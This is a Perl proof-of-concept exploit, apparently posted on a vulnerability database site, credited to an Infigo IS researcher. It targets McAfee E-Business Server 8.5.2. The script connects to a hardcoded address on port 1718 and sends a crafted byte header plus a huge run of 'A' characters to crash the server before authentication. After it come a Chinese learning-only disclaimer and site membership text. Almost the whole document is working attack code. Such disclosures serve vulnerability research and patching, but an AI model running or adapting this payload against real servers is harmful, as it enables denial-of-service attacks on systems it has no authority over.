#!/usr/bin/perl # # # McAfee(R) E-Business Server(TM) 8.5.2 Remote preauth crash (PoC) # # - tested on Windows and Linux # # # Leon Juranic <leon.juranic@infigo.hr>, # Infigo IS <http://www.infigo.hr/en/> # use IO::Socket; $saddr = "192.168.1.3"; $sport = 1718; $exp1 = "\x01\x3f\x2f\x05\x25\x2a" . "A" x 69953;; print "> Sending exploit string...\n"; my $server_sock = IO::Socket::INET->new (PeerAddr => $saddr, PeerPort => $sport) || die ("Cannot connect to server!!!\n\n"); print $server_sock $exp1;
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论